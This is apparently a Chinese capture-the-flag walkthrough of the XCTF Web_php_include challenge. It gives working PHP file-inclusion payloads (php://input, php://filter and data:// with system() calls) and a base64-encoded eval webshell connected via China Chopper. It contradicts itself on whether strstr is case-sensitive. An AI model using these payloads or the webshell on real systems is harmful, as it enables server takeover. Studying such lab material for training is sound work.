由题目XCTF Web_php_include 复习包含漏洞

题目url:http://220.249.52.133:47390

代码分析

题目一来就是一段代码,分析一下

由题目XCTF Web_php_include 复习包含漏洞

show_source() 函数对文件进行语法高亮显示

hello用get方式接收参数直接输出

page参数也是通过get方式接收,strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串,但是区分大小写,如果不区分大小写使用stristr()函数。这里的意思是如果page参数中包含"php://",就替换为空。

通过过滤后包含page参数传来的文件。

 

方法1 php://input

由分析,这个网页主要是过滤了php伪协议的使用,那肯定是怕我们使用这个功能,他怕什么我们自然要来做什么。

我们知道strstr()函数不区分大小写,我们变可以使用大写方式绕过。

php://input 可以将数据通过post的方式传给当前页面,相当于远程包含漏洞,前提是php配置文件中需同时开启 allow_url_fopen 和 allow_url_include。这里并不知道是否开启这两个功能,我们只管测试就明白了。

http://220.249.52.133:47390/?page=PHP://input

<?php phpinfo(); ?>

由题目XCTF Web_php_include 复习包含漏洞

作为测试我们试一下phpinfo就可以了,如果页面出现phpinfo信息那就证明存在这个漏洞。

由题目XCTF Web_php_include 复习包含漏洞

确实弹出了phpinfo消息,通过ctrl+F搜索,确实打开了这两个功能。

由题目XCTF Web_php_include 复习包含漏洞

我们post一些命令过去,找以下flag文件

<?php system('ls')?>

由题目XCTF Web_php_include 复习包含漏洞

发现fl4gisisish3r3.php文件,估计flag就在里面了。

<?php system('cat fl4gisisish3r3.php')?>

发现页面并没有出现消息,我不知道为什么。

我的做法是利用php://filter来读出这个文件中的内容。

http://220.249.52.133:47390/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

由题目XCTF Web_php_include 复习包含漏洞

这种方式会把数据通过base64加密后传输出来,我们解码即可。这里解码使用站长工具。

由题目XCTF Web_php_include 复习包含漏洞

然后把flag提交成功通过。

其他方式

可以查看网页元素,flag已经用注释方式出现。后面了解才知道浏览器会注释掉出现的php代码。

由题目XCTF Web_php_include 复习包含漏洞

方法2 data://

http://220.249.52.133:47390/?page=data://text/plain,<?php system('ls');?>

由题目XCTF Web_php_include 复习包含漏洞

这次学聪明一点,我们也使用show_source()

http://220.249.52.133:47390/?page=data://text/plain,<?php show_source('fl4gisisish3r3.php');?>

由题目XCTF Web_php_include 复习包含漏洞

这样子就很让人满意了。

方法3 获取shell

在真实环境中出现这么大的漏洞,你确定只看看?

可以使用data协议来包含我们的一句话木马,这里我测试了下,应该要通过base64加密才能通过了。

一句话木马:<?php @eval($_POST[wang]);?>

base64加密:Jmx0Oz9waHAgQGV2YWwoJF9QT1NUW3dhbmddKTs/Jmd0Ow==

构造链接:http://220.249.52.133:47390/?page=data://text/plain/;base64,PD9waHAgQGV2YWwoJF9QT1NUW3dhbmddKTs/Pg==

然后使用菜刀连接

由题目XCTF Web_php_include 复习包含漏洞由题目XCTF Web_php_include 复习包含漏洞

可以在菜刀中获取flag

由题目XCTF Web_php_include 复习包含漏洞